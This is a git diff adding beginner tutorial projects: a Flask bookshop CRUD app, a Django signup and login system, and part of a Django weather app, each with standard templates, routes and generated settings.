+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/templates/index.html b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/index.html new file mode 100644 index 00000000..a3e70a6b --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/index.html @@ -0,0 +1,154 @@ +{% extends "base.html" %} + +{% block page_content %} +
+

Welcome to our bookshop!

+
+ + + + + + +
+
+ + + + + + + + + + + + {% for book in books %} + + + + + + + + + + + + + + + + + + + {% endfor %} + +
ISBNAuthorTitlePriceAction
{{ book.isbn }}{{ book.author }}{{ book.title }}{{ book.price }}
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/bookshop.py b/web-programming/bookshop-crud-app-flask-fullstack/bookshop.py new file mode 100644 index 00000000..1199db89 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/bookshop.py @@ -0,0 +1,8 @@ +from app import db +from app.routes import app +from app.models import Book + + +@app.shell_context_processor +def make_shell_context(): + return dict(db=db, Book=Book) diff --git a/web-programming/bookshop-crud-app-flask-fullstack/config.py b/web-programming/bookshop-crud-app-flask-fullstack/config.py new file mode 100644 index 00000000..cbdb1609 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/config.py @@ -0,0 +1,31 @@ +import os + + +class Config: + SQLALCHEMY_TRACK_MODIFICATIONS = False + + @staticmethod + def init_app(app): + pass + + +class DevelopmentConfig(Config): + DEBUG = True + SQLALCHEMY_DATABASE_URI = os.getenv("DEV_DATABASE_URL") + + +class TestingConfig(Config): + TESTING = True + SQLALCHEMY_DATABASE_URI = os.getenv("TEST_DATABASE_URL") + + +class ProductionConfig(Config): + SQLALCHEMY_DATABASE_URI = os.getenv("DATABASE_URL") + + +config = { + 'development': DevelopmentConfig, + 'testing': TestingConfig, + 'production': ProductionConfig, + 'default': DevelopmentConfig +} diff --git a/web-programming/bookshop-crud-app-flask-fullstack/requirements.txt b/web-programming/bookshop-crud-app-flask-fullstack/requirements.txt new file mode 100644 index 00000000..298f6009 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/requirements.txt @@ -0,0 +1,16 @@ +click==8.0.4 +dataclasses +Flask==2.0.3 +Flask-SQLAlchemy==2.5.1 +Flask-Bootstrap==3.3.7.1 +greenlet==1.1.2 +importlib-metadata==4.8.3 +itsdangerous==2.0.1 +Jinja2==3.0.3 +MarkupSafe==2.0.1 +# pkg_resources +PyMySQL==1.0.2 +SQLAlchemy==1.4.35 +typing_extensions==4.1.1 +Werkzeug==2.0.3 +zipp==3.6.0 diff --git a/web-programming/bookshop-crud-app-flask/LICENSE b/web-programming/bookshop-crud-app-flask/LICENSE new file mode 100644 index 00000000..7a493e2d --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/LICENSE @@ -0,0 +1,20 @@ +The MIT License (MIT) + +Copyright (c) 2022 Ezzeddin Abdullah + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask/README.md b/web-programming/bookshop-crud-app-flask/README.md new file mode 100644 index 00000000..a6e06d01 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/README.md @@ -0,0 +1 @@ +# [How to Build a CRUD App with Flask and SQLAlchemy in Python](https://www.thepythoncode.com/article/building-crud-app-with-flask-and-sqlalchemy) \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask/app/__init__.py b/web-programming/bookshop-crud-app-flask/app/__init__.py new file mode 100644 index 00000000..90c90529 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/app/__init__.py @@ -0,0 +1,14 @@ +from flask import Flask +from flask_sqlalchemy import SQLAlchemy +from config import config + +db = SQLAlchemy() + + +def create_app(config_name): + app = Flask(__name__) + app.config.from_object(config[config_name]) + config[config_name].init_app(app) + + db.init_app(app) + return app diff --git a/web-programming/bookshop-crud-app-flask/app/models.py b/web-programming/bookshop-crud-app-flask/app/models.py new file mode 100644 index 00000000..b9ab5bc0 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/app/models.py @@ -0,0 +1,17 @@ +from . import db + + +class Book(db.Model): + __tablename__ = 'books' + isbn = db.Column(db.Integer, primary_key=True) + author = db.Column(db.String(100), nullable=False) + title = db.Column(db.String(100), nullable=False) + price = db.Column(db.Float) + + def to_json(self): + return { + 'isbn': self.isbn, + 'author': self.author, + 'title': self.title, + 'price': self.price + } diff --git a/web-programming/bookshop-crud-app-flask/app/routes.py b/web-programming/bookshop-crud-app-flask/app/routes.py new file mode 100644 index 00000000..1643f822 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/app/routes.py @@ -0,0 +1,59 @@ +import os +from . import create_app +from .models import Book +from . import db +from flask import jsonify, request, abort + +app = create_app(os.getenv('FLASK_CONFIG') or 'default') + + +@app.route("/book/list", methods=["GET"]) +def get_books(): + books = Book.query.all() + return jsonify([book.to_json() for book in books]) + + +@app.route("/book/", methods=["GET"]) +def get_book(isbn): + book = Book.query.get(isbn) + if book is None: + abort(404) + return jsonify(book.to_json()) + + +@app.route("/book/", methods=["DELETE"]) +def delete_book(isbn): + book = Book.query.get(isbn) + if book is None: + abort(404) + db.session.delete(book) + db.session.commit() + return jsonify({'result': True}) + + +@app.route('/book', methods=['POST']) +def create_book(): + if not request.json: + abort(400) + book = Book( + title=request.json.get('title'), + author=request.json.get('author'), + price=request.json.get('price') + ) + db.session.add(book) + db.session.commit() + return jsonify(book.to_json()), 201 + + +@app.route('/book/', methods=['PUT']) +def update_book(isbn): + if not request.json: + abort(400) + book = Book.query.get(isbn) + if book is None: + abort(404) + book.title = request.json.get('title', book.title) + book.author = request.json.get('author', book.author) + book.price = request.json.get('price', book.price) + db.session.commit() + return jsonify(book.to_json()) diff --git a/web-programming/bookshop-crud-app-flask/bookshop.py b/web-programming/bookshop-crud-app-flask/bookshop.py new file mode 100644 index 00000000..1199db89 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/bookshop.py @@ -0,0 +1,8 @@ +from app import db +from app.routes import app +from app.models import Book + + +@app.shell_context_processor +def make_shell_context(): + return dict(db=db, Book=Book) diff --git a/web-programming/bookshop-crud-app-flask/config.py b/web-programming/bookshop-crud-app-flask/config.py new file mode 100644 index 00000000..cbdb1609 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/config.py @@ -0,0 +1,31 @@ +import os + + +class Config: + SQLALCHEMY_TRACK_MODIFICATIONS = False + + @staticmethod + def init_app(app): + pass + + +class DevelopmentConfig(Config): + DEBUG = True + SQLALCHEMY_DATABASE_URI = os.getenv("DEV_DATABASE_URL") + + +class TestingConfig(Config): + TESTING = True + SQLALCHEMY_DATABASE_URI = os.getenv("TEST_DATABASE_URL") + + +class ProductionConfig(Config): + SQLALCHEMY_DATABASE_URI = os.getenv("DATABASE_URL") + + +config = { + 'development': DevelopmentConfig, + 'testing': TestingConfig, + 'production': ProductionConfig, + 'default': DevelopmentConfig +} diff --git a/web-programming/django-authentication/README.md b/web-programming/django-authentication/README.md new file mode 100644 index 00000000..9bfca6f1 --- /dev/null +++ b/web-programming/django-authentication/README.md @@ -0,0 +1 @@ +# [How to Build an Authentication System in Django](https://www.thepythoncode.com/article/authentication-system-in-django-python) \ No newline at end of file diff --git a/web-programming/django-authentication/accounts/Templates/base.html b/web-programming/django-authentication/accounts/Templates/base.html new file mode 100644 index 00000000..436ba0d8 --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/base.html @@ -0,0 +1,70 @@ + + + + + + + + + + + + {% block title %} Simple site {% endblock %} + + + + {%block body%} +
+ + + + +
+ +
+ {% block content %}{% endblock %} +
+ + + {% endblock body%} + + + + diff --git a/web-programming/django-authentication/accounts/Templates/home.html b/web-programming/django-authentication/accounts/Templates/home.html new file mode 100644 index 00000000..b06e6532 --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/home.html @@ -0,0 +1,10 @@ +{% extends 'base.html'%} + +{% block content%} + +
+

Hello {{user}}

+

This is a simple site

+
+logout +{% endblock %} diff --git a/web-programming/django-authentication/accounts/Templates/landing_page.html b/web-programming/django-authentication/accounts/Templates/landing_page.html new file mode 100644 index 00000000..c28994ae --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/landing_page.html @@ -0,0 +1,44 @@ + + +{% extends 'base.html'%} +{% block content%} + + + + +
+
+
+
+
+ +
+ +
+ +

This is login and sign up landing page test!

+

Let's try

+
+
+ + Get Started + Log in + +
+
+
+ + +
+
+ +
+ + + +
+

Copyright © Me 2022

+
+
+ +{% endblock%} diff --git a/web-programming/django-authentication/accounts/Templates/login.html b/web-programming/django-authentication/accounts/Templates/login.html new file mode 100644 index 00000000..12f4e147 --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/login.html @@ -0,0 +1,28 @@ +{% extends 'base.html' %} + +{% block body %} +
+

+ Simple site +

+
+
+
+
+

Log in

+
+ {% csrf_token %} + {{ form.as_p }} + +
+
+
+ New to Simple site? Sign up +
+
+ +
+
+
+ +{% endblock %} diff --git a/web-programming/django-authentication/accounts/Templates/signup.html b/web-programming/django-authentication/accounts/Templates/signup.html new file mode 100644 index 00000000..b50ffe16 --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/signup.html @@ -0,0 +1,29 @@ +{% extends 'base.html' %} + +{% block content %} + + + + +
+

Sign up

+
+ {% csrf_token %} + {% for field in form %} +

+ {{ field.label_tag }}
+ {{ field }} + {% if field.help_text %} + {{ field.help_text }} + {% endif %} + {% for error in field.errors %} +

{{ error }} + {% endfor %} +

+ {% endfor %} + +
+
+ + +{% endblock %} diff --git a/web-programming/django-authentication/accounts/account/__init__.py b/web-programming/django-authentication/accounts/account/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-38.pyc b/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 00000000..eae4b2b3 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-39.pyc b/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..3d4d433f Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-39.pyc differ diff --git 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a/web-programming/django-authentication/accounts/account/admin.py b/web-programming/django-authentication/accounts/account/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/web-programming/django-authentication/accounts/account/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/django-authentication/accounts/account/apps.py b/web-programming/django-authentication/accounts/account/apps.py new file mode 100644 index 00000000..2b08f1ad --- /dev/null +++ b/web-programming/django-authentication/accounts/account/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class AccountConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'account' diff --git a/web-programming/django-authentication/accounts/account/migrations/__init__.py b/web-programming/django-authentication/accounts/account/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-38.pyc b/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 00000000..b433a9df Binary files /dev/null and b/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..0a414dfe Binary files /dev/null and b/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/account/models.py b/web-programming/django-authentication/accounts/account/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/django-authentication/accounts/account/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/django-authentication/accounts/account/tests.py b/web-programming/django-authentication/accounts/account/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/django-authentication/accounts/account/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/django-authentication/accounts/account/views.py b/web-programming/django-authentication/accounts/account/views.py new file mode 100644 index 00000000..c446ab10 --- /dev/null +++ b/web-programming/django-authentication/accounts/account/views.py @@ -0,0 +1,39 @@ +from django.shortcuts import render,redirect +from django.contrib.auth import login,logout +from django.contrib.auth.forms import UserCreationForm, AuthenticationForm + +# Create your views here. +def home(request): + return render(request,'home.html') + +def landing_page(request): + return render(request,'landing_page.html') + +def signup(request): + if request.method == 'POST': + form = UserCreationForm(request.POST) + if form.is_valid(): + user = form.save() + login(request, user) + return redirect('home') + else: + form = UserCreationForm() + return render(request, 'signup.html', {'form': form}) + + + +def log_in(request): + if request.method == "POST": + form = AuthenticationForm(data=request.POST) + if form.is_valid(): + user = form.get_user() + login(request,user) + return redirect('home') + else: + form = AuthenticationForm() + return render(request,'login.html', {"form":form}) + + +def log_out(request): + logout(request) + return redirect('landing_page') diff --git a/web-programming/django-authentication/accounts/accounts/__init__.py b/web-programming/django-authentication/accounts/accounts/__init__.py new file mode 100644 index 00000000..e69de29b diff --git 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a/web-programming/django-authentication/accounts/accounts/asgi.py b/web-programming/django-authentication/accounts/accounts/asgi.py new file mode 100644 index 00000000..9437e0ed --- /dev/null +++ b/web-programming/django-authentication/accounts/accounts/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for accounts project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'accounts.settings') + +application = get_asgi_application() diff --git a/web-programming/django-authentication/accounts/accounts/settings.py b/web-programming/django-authentication/accounts/accounts/settings.py new file mode 100644 index 00000000..1e8e7182 --- /dev/null +++ b/web-programming/django-authentication/accounts/accounts/settings.py @@ -0,0 +1,127 @@ +""" +Django settings for accounts project. + +Generated by 'django-admin startproject' using Django 4.1.1. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-ghin06u9rg0ec54yu5k9wkcya6mkkvlu8h++w4r)0hj8j970$w' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'account', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'accounts.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [BASE_DIR,'Templates'], #here + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'accounts.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +LOGIN_REDIRECT_URL = "home/" +LOGOUT_REDIRECT_URL = '/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/django-authentication/accounts/accounts/urls.py b/web-programming/django-authentication/accounts/accounts/urls.py new file mode 100644 index 00000000..c64db7b2 --- /dev/null +++ b/web-programming/django-authentication/accounts/accounts/urls.py @@ -0,0 +1,27 @@ +"""accounts URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.1/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path +from account import views #here + +urlpatterns = [ + path('admin/', admin.site.urls), + path('home/', views.home, name='home'), #here + path('', views.landing_page, name='landing_page'), + path('signup/', views.signup, name='signup'), + path('login/', views.log_in, name='login'), + path('logout/', views.log_out, name='logout'), +] diff --git a/web-programming/django-authentication/accounts/accounts/wsgi.py b/web-programming/django-authentication/accounts/accounts/wsgi.py new file mode 100644 index 00000000..eb795ed9 --- /dev/null +++ b/web-programming/django-authentication/accounts/accounts/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for accounts project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'accounts.settings') + +application = get_wsgi_application() diff --git a/web-programming/django-authentication/accounts/db.sqlite3 b/web-programming/django-authentication/accounts/db.sqlite3 new file mode 100644 index 00000000..e22b99be Binary files /dev/null and b/web-programming/django-authentication/accounts/db.sqlite3 differ diff --git a/web-programming/django-authentication/accounts/manage.py b/web-programming/django-authentication/accounts/manage.py new file mode 100644 index 00000000..1c187f06 --- /dev/null +++ b/web-programming/django-authentication/accounts/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'accounts.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/django-authentication/requirements.txt b/web-programming/django-authentication/requirements.txt new file mode 100644 index 00000000..eec1cf15 --- /dev/null +++ b/web-programming/django-authentication/requirements.txt @@ -0,0 +1 @@ +Django \ No newline at end of file diff --git a/web-programming/django-weather-app/README.md b/web-programming/django-weather-app/README.md new file mode 100644 index 00000000..d38a6988 --- /dev/null +++ b/web-programming/django-weather-app/README.md @@ -0,0 +1,5 @@ +# [How to Build a Weather App using Django in Python](https://www.thepythoncode.com/article/weather-app-django-openweather-api-using-python) +To run this: +- `$ pip3 install -r requirements.txt` +- Put your OpenWeatherMap API key in `API_KEY` variable in the `weatherupdates/views.py` file. +- Run the app via: `$ python manage.py runserver` \ No newline at end of file diff --git a/web-programming/django-weather-app/db.sqlite3 b/web-programming/django-weather-app/db.sqlite3 new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-weather-app/manage.py b/web-programming/django-weather-app/manage.py new file mode 100644 index 00000000..ffa6defc --- /dev/null +++ b/web-programming/django-weather-app/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'weatherapplication.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/django-weather-app/requirements.txt b/web-programming/django-weather-app/requirements.txt new file mode 100644 index 00000000..b88be3c1 --- /dev/null +++ b/web-programming/django-weather-app/requirements.txt @@ -0,0 +1,2 @@ +requests +django \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherapplication/__init__.py b/web-programming/django-weather-app/weatherapplication/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/__init__.cpython-310.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..dddef5ed Binary files /dev/null and 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a/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-310.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-310.pyc new file mode 100644 index 00000000..bd4fa0e7 Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-39.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-39.pyc new file mode 100644 index 00000000..89879637 Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/asgi.py b/web-programming/django-weather-app/weatherapplication/asgi.py new file mode 100644 index 00000000..347c3e54 --- /dev/null +++ b/web-programming/django-weather-app/weatherapplication/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for weatherapplication project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'weatherapplication.settings') + +application = get_asgi_application() diff --git a/web-programming/django-weather-app/weatherapplication/settings.py b/web-programming/django-weather-app/weatherapplication/settings.py new file mode 100644 index 00000000..fa3b85dc --- /dev/null +++ b/web-programming/django-weather-app/weatherapplication/settings.py @@ -0,0 +1,125 @@ +""" +Django settings for weatherapplication project. + +Generated by 'django-admin startproject' using Django 4.1. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-0rt0hcq(e^c!9#qqru4@tzs)aru_*o2q4_=yznil4w14!dcye+' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # this is the new created app + 'weatherupdates', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'weatherapplication.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'weatherapplication.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/django-weather-app/weatherapplication/urls.py b/web-programming/django-weather-app/weatherapplication/urls.py new file mode 100644 index 00000000..c8865945 --- /dev/null +++ b/web-programming/django-weather-app/weatherapplication/urls.py @@ -0,0 +1,9 @@ +from django.contrib import admin +from django.urls import path, include + +urlpatterns = [ + # the default path for the admin site + path('admin/', admin.site.urls), + # this points django to the weatherupdates app urls + path('', include('weatherupdates.urls')), +] diff --git a/web-programming/django-weather-app/weatherapplication/wsgi.py b/web-programming/django-weather-app/weatherapplication/wsgi.py new file mode 100644 index 00000000..3835fd59 --- /dev/null +++ b/web-programming/django-weather-app/weatherapplication/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for weatherapplication project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'weatherapplication.settings') + +application = get_wsgi_application() diff --git a/web-programming/django-weather-app/weatherupdates/__init__.py b/web-programming/django-weather-app/weatherupdates/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..babfb916 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-39.pyc new file mode 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b/web-programming/django-weather-app/weatherupdates/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/django-weather-app/weatherupdates/apps.py b/web-programming/django-weather-app/weatherupdates/apps.py new file mode 100644 index 00000000..0016589f --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class WeatherupdatesConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'weatherupdates' diff --git a/web-programming/django-weather-app/weatherupdates/migrations/__init__.py b/web-programming/django-weather-app/weatherupdates/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..bb8bd60a Binary files /dev/null and 